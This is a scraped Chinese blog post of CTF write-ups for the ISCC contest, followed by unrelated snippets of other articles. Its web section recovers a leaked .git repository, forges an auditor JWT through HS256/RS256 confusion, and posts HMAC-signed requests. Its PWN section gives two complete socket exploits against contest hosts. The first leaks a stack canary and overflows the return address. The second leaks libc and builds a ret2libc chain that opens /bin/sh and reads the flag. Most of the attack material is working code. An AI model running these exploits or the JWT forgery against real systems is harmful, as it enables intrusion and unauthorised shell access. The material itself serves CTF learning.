news 2026/5/8 15:50:05

iscc校赛部分wp

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
iscc校赛部分wp

打开题目,先测试说这个,我们想到提示说对key敏感,我们就是是key的各种绕过,最后发现双写有变化

然后第二关说要post一个a参数,说Master Const的值是1337,说明要有key=1337,但是要post一个a的参数,说明a是数组写成a[key]=1337.

第二关也过了。

又说哈希碰撞,要在GET 上a和b所以我们写成这样

就行了。

Web3

我们看提示说明,真正不安分的细节,往往藏在他们以为没人会翻的地方。说明藏东西了,我们要去扫描一下隐藏文件。

第一步:发现 .git 泄露

我们看源码有个/static/main.js点开之后

访问 /static/main.js → 发现 window.__buildTrace = "/.git/HEAD" 说明有git信息泄露

第二步:下载 git 仓库

然后访问这个连接然后下载这个,打开

然后访前两位字符当成url写成这样就会访问并下载到

然后发现是zilib解密一下,写个代码解密

会发现父类和子类,我们依旧挨着访问下载

.git/objects/9f/df9b... → commit object (parent: 9df0e0cf...)

.git/objects/8f/738d... → tree (legacy_probe_stub.py)

这个是tree格式,我们写个代码下载之后tree格式的解密这个

.git/objects/c9/acca... → parent版本 blob

.git/objects/55/cf35... → 当前版本 blob

(注意URL含%20编码)

就能发现一些敏感信息

第三步:从代码中找到凭据和JWT密钥

SERVER_SECRET = "ISCC_SERVER_SECRET_REAL" # HMAC签名密钥
DEFAULT_AUDITOR = ("auditor", "audit2025") # 登录凭据

INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527" # JWT HS256密钥
JWT_ACCEPTED = ["RS256", "HS256"]

第四步:JWT伪造提升权限
登录 audit2025 → 获得 RS256 JWT (role=user)

用 HS256 密钥伪造 JWT (role=auditor):
payload = {"sub":"auditor","role":"auditor","iat":...,"exp":...}
token = jwt.encode(payload, "ISCC_2026_JWT_DEBUG_KEY_#9527", "HS256")

或者用JSON Web Tokens - jwt.io

然后把改好的token放进cookie里面,然后刷新就会发现可以进入审计员的东西

第五步:访问审计节点页

GET /auditor/nodes → 节点查询表单
需要:node_id + timestamp + HMAC-SHA256签名

第六步:HMAC签名查询获取flag
msg = f"core-storage-01:{timestamp}"
sign = HMAC-SHA256("ISCC_SERVER_SECRET_REAL", msg)
发送查询 → 返回 flag!

代码

import requests import hmac import hashlib import time # 用你伪造好的 auditor JWT(可用抓包里的那个,或重新生成) cookie = { "audit_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhdWRpdG9yIiwicm9sZSI6ImF1ZGl0b3IiLCJpYXQiOjE3Nzc5NzU5ODMsImV4cCI6MTc3Nzk3Nzc4MywiaXNzIjoi5aSc54-t5a6h6K6h5Y-wIn0.7MPQHkgvoZ3gmNcU5r_zrA4kELLa65RaMrms4GPwjWk" } url = "http://39.105.213.28:49106/auditor/nodes" # 动态生成时间戳,确保在服务器允许的时间窗口内 node_id = "core-storage-01" ts = str(int(time.time())) # 正确的待签名串:node_id + ":" + timestamp message = f"{node_id}:{ts}" # HMAC-SHA256 签名,密钥为源码中的 SERVER_SECRET key = "ISCC_SERVER_SECRET_REAL" sign = hmac.new(key.encode(), message.encode(), hashlib.sha256).hexdigest() data = { "node_id": node_id, "ts": ts, "sign": sign } resp = requests.post(url, cookies=cookie, data=data) print(resp.text)

获取到flag就行了

MISC

1

提示说图片和音频。线分析图片发现

分离出来是个rar压缩包,打开要密码,哪密码肯定是在音频中找到了。

我们去分析音频图

我们打开频波谱去分析,会发现变红了,但是没有明显这种数字,我们去调hz,调小一点就行了,就能看到很明显了。

发现密码了。解压

发现是拼音,我们想到图片上的顺序

正好是这个的拼音,我们按顺序连接就是flag,

加上ISCC{}就行了

PWN

1

#!/usr/bin/env python3 import socket, struct, time HOST = "39.96.193.120" PORT = 10018 def p32(x): return struct.pack('<I', x) def recv_all(sock, timeout=1.0): sock.settimeout(timeout) data = b"" try: while True: chunk = sock.recv(4096) if not chunk: break data += chunk except socket.timeout: pass return data r = socket.socket(socket.AF_INET, socket.SOCK_STREAM) r.settimeout(10) r.connect((HOST, PORT)) time.sleep(0.3) # Receive "Hello Hacker!" hello = recv_all(r, 0.3) print(f"[+] Hello: {hello}") # ============ Round 1: Leak canary via format string ============ # vuln函数栈布局: buf[0:100] | canary[4] | filler[8] | saved_ebp[4] | ret_addr[4] # buf起始于printf的%6$偏移, canary在ebp-0xc = buf+100 = %31$ r.send(b"%31$08x\n") time.sleep(0.5) resp1 = recv_all(r, 0.5) canary_text = resp1.decode('latin-1').strip().split('\n')[0][:8] canary = int(canary_text, 16) print(f"[+] Canary: 0x{canary:08x}") # ============ Round 2: Overflow + Leak flag ============ # 栈上残留了之前读取的flag数据(ISCC{xxx}) # printf输出: 100个Z + 栈残留数据(即flag) getshell = 0x080491c6 overflow = b"Z" * 100 # padding to canary overflow += p32(canary) # 保留canary overflow += b"K" * 8 # filler overflow += p32(0x41414141) # fake EBP overflow += p32(getshell) # ret2getshell r.send(overflow) time.sleep(1.0) # printf输出100个Z后遇到canary的第一个\x00字节 # 但栈上0100之后有flag字符串的残留数据 echo = recv_all(r, 1.0) flag_data = echo[100:].decode('latin-1', errors='replace').strip() print(f"[+] Flag leaked: {flag_data}") r.close()

vuln函数里 read(0, buf, 0x200) 存在栈溢出

同时 printf(buf) 存在格式化字符串漏洞
栈上有之前读取的flag数据残留
利用格式化字符串泄露canary后,发送120字节数据覆盖到栈上
printf输出100字节后,继续输出栈上的flag残留数据(ISCC{...})

2

• 用 %7$s 泄漏 puts@got 获取libc基址

然后libc识别 (libc.blukat.me)用这个网站输入关键信息就可以找到相应的libc

• libc6-i386_2.31-0ubuntu9.18_amd64
• puts: 0x6d1e0, system: 0x41360, /bin/sh: 0x18c363
• system = puts - 0x2be80
• /bin/sh = puts + 0x11f183

然后就可以栈溢出发送 system("/bin/sh") ROP链

#!/usr/bin/env python3 """ 利用流程: 1. Format string漏洞: 同时泄漏puts地址 + 写入5到target_val(0x804c030) 2. target_val=5 → 进入vuln()函数 3. vuln栈溢出(140字节填充 + 4字节ebx + 4字节ebp + ROP链) ret2libc → system("/bin/sh") """ import socket, struct, time, re, sys HOST = "39.96.193.120" PORT = 10000 def p32(x): return struct.pack('<I', x) def recv_all(sock, timeout=1.5): sock.settimeout(timeout) data = b"" try: while True: chunk = sock.recv(4096) if not chunk: break data += chunk except socket.timeout: pass return data def exploit(): r = socket.socket(socket.AF_INET, socket.SOCK_STREAM) r.settimeout(10) r.connect((HOST, PORT)) recv_all(r, 0.3) # ===== Step 1: Format String ===== # 栈布局: pos 4 = target_val地址, pos 7 = puts_got地址 # %4$n: 打印5字符后写入5到target_val → 进入vuln # %7$s: 泄漏puts@got处的puts libc地址 fmt = p32(0x804c030) # pos 4: target_val (初始值3→改为5即可进vuln) fmt += b"\x05%4$n" # 5个字符(\x30\xc0\x04\x08 + \x05), %4$n写入5 fmt += b"XXX" # 4字节对齐填充 fmt += p32(0x804c014) # pos 7: puts@got fmt += b"%7$s" # 泄漏puts libc地址 r.send(fmt) time.sleep(1.0) resp = recv_all(r, 2.0) if b"Input" not in resp: print("[-] 进入vuln失败") sys.exit(1) print("[+] 成功进入vuln()!") # 解析泄漏的puts地址(前12字节是字面量输出) puts_addr = struct.unpack('<I', resp[12:16])[0] print(f"[+] puts@libc: 0x{puts_addr:08x}") # ===== 计算system和/bin/sh ===== # libc6-i386 2.31-0ubuntu9.18 (Ubuntu 20.04) # puts=0x6d1e0 system=0x41360 /bin/sh=0x18c363 system = puts_addr - 0x2be80 binsh = puts_addr + 0x11f183 print(f"[+] system: 0x{system:08x}") print(f"[+] /bin/sh: 0x{binsh:08x}") # ===== Step 2: Stack Overflow → ret2libc ===== # vuln栈帧: buffer(ebp-0x90) | ... | ebx | ebp | ret # offset = 0x90 - 4 = 140字节到ebx payload = b"Z" * 140 # 填充到saved ebx payload += b"BBBB" # saved ebx payload += b"CCCC" # saved ebp payload += p32(system) # ret → system("/bin/sh") payload += p32(0) # system返回地址(无关) payload += p32(binsh) # system参数: "/bin/sh" r.send(payload) time.sleep(0.5) # ===== Step 3: Get Flag ===== r.send(b"cat /flag* 2>/dev/null; echo ---; id\n") time.sleep(0.5) try: result = recv_all(r, 3.0) text = result.decode(errors='replace') print(f"[+] 输出:\n{text}") flag = re.search(r'ISCC\{[^}]+\}', text) if flag: print(f"\n[+] FLAG: {flag.group()}") except: pass r.close() if __name__ == "__main__": exploit()

我不太会pwn,是ai帮助我做的,所以写的简略。🥲🥲😛😛

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/8 15:50:02

深度掌控显卡性能:NVIDIA Profile Inspector终极配置指南

深度掌控显卡性能&#xff1a;NVIDIA Profile Inspector终极配置指南 【免费下载链接】nvidiaProfileInspector 项目地址: https://gitcode.com/gh_mirrors/nv/nvidiaProfileInspector 想要彻底释放你的NVIDIA显卡潜能吗&#xff1f;NVIDIA Profile Inspector这款开源工…

作者头像 李华
网站建设 2026/5/8 15:50:00

自制的RK3568上的linux系统

一、三大核心组件&#xff08;构成嵌入式 Linux 系统的 “三大件”&#xff09;这三个是系统启动和运行的基础&#xff0c;缺一不可。表格文件夹类别核心作用u-boot引导程序板子上电后第一个运行的程序&#xff0c;负责初始化硬件、加载内核kernel内核系统的 “大脑”&#xff…

作者头像 李华
网站建设 2026/5/8 15:49:57

半导体设备巨头ASML如何通过股权捆绑与研发预付模式改写行业规则

1. 从“被放鸽子”到“先买单后上菜”&#xff1a;半导体设备巨头的商业逻辑之变十多年前&#xff0c;当整个半导体行业从200毫米晶圆向300毫米迈进时&#xff0c;发生了一场经典的“承诺与背叛”。芯片制造商们&#xff08;我们常说的Fab厂&#xff0c;如英特尔、台积电&#…

作者头像 李华
网站建设 2026/5/8 15:49:52

网站HTTPS加密证书怎么办理?2026年不同类型证书申请全流程

网站SSL证书的办理&#xff0c;本质是完成证书申请、身份/域名验证、证书下载与服务器部署的全流程&#xff0c;并非单一的购买操作。其核心目的是通过CA机构&#xff08;证书颁发机构&#xff09;的审核&#xff0c;获取合法有效的加密证书&#xff0c;实现网站HTTPS加密&…

作者头像 李华
网站建设 2026/5/8 15:49:45

宽禁带半导体如何赋能离网社区微能源系统:从技术原理到工程实践

1. 项目概述&#xff1a;当清洁能源技术遇见社区真实需求作为一名长期关注能源技术与社区发展的从业者&#xff0c;我常常思考&#xff0c;那些前沿的半导体和电力电子创新&#xff0c;其终极价值究竟应该如何衡量&#xff1f;是实验室里的性能参数&#xff0c;还是商业市场的占…

作者头像 李华